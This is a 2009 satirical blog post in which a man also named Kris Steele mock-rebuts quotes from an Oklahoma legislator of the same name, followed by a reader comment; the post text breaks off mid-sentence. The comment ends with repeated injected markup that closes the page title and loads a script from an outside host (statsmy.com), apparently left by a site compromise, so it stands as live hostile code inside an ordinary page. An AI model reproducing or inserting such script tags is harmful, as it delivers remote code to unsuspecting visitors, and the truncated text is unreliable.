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Kris Steele vs Kris Steele
by Kris on 3/13/2009 (1)

Kris Steele is a United States politician from the U.S. state of Oklahoma and is a member of the Oklahoma House of Representatives. I am also Kris Steele, an Internet mogul of wealth exceeded only in measure by the size of my ego (I have the same hatsize as Barry Bonds). While attempts to debate with the other lesser famous (and less handsome) Kris Steele have been met with considerable difficulties (including several restraining orders which I rarely abide to), that won't stop me from commenting on comments the other Kris made (and subsequently proving my considerable superiority).

On Oklahoma's Helping Oklahoma Public Education
Representative Kris says: "Either we’ve got to increase taxes or we’re going to have to cut services from other areas of the government that we would think of as important, such as public safety, health care, corrections, transportation and things that nature. I really feel like the process is designed to allow the people to have say-so in how the state dollars are spent through their elected officials."

I say: "Anything that helps the children of Oklahoma must be struck down post-haste, especially when it could potentially take away funding from essential programs that create tax loopholes that I can take advantage of. The children are our future, they will have plenty of time in the future. Our time is now and we must grasp it with both hands and shake every last penny out of it.

If you cannot get the votes to do such a thing, bribe others with promises of money, flying cars, and robot vacuum cleaners (which are a great timesaver). And if all else fails, filibuster until the cows come home!"

On water
Imposter Kris says: "I think that water should be a top priority. Two years ago, we actually passed and appropriated money for a comprehensive water plan to be conducted for the state of Oklahoma to determine how we can best utilize the water that exists within our state."

I say: "The problem with water is that it attracts bears. Bears like to drink water and they like to eat fish they catch in water. If you really want to stop the bear problem in Oklahoma, we must do everything we have to destroy this toxic substance."

On natural gas
Poser Kris says: "I think the number is about 26 right now, so what we want to try to do is at least double that number to maybe 52 over the next five years and try to place those stations in regional locations. In addition, we will be providing incentives and perhaps subsidies to schools to convert their fleets of busses and transportation vehicles over to compressed natural gas to take advantage of the infrastructure we want to build in our state. Also, there will be incentives for individuals and businesses who consider geothermal units for either cooling or heating, just so that we can be more responsible and, hopefully, more efficient with our resources. The Speaker is going to offer some pretty significant tax incentives for people to start moving in that direction."

"Natural gas is clearly a stop-gap solution. The real solution we should be looking into is those crystal things that give ligthsabers their power. A tiny crystal no bigger than two grasshoppers making sweet grasshopper love can power a lightsaber capable of cutting through almost anything. If we could learn to harness this power, we could easily create cars that get a million miles per gallon, handheld generators that could power cities, a robot army that could crush all our opposition, and sweat as hell lightsabers."

On Medicaid
That other jerk says: "The Medicaid Reform Act of 2006 recognizes the fact that Oklahoma has a broken, outdated system. In talking with Oklahomans, we've found that the Medicaid program is plagued with a lack of access to care, a lack of health literacy, and no<


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Comments

1. by Motz on 3/17/2009 3:51:23 PM
I vote for Kris Steele! Hoot!"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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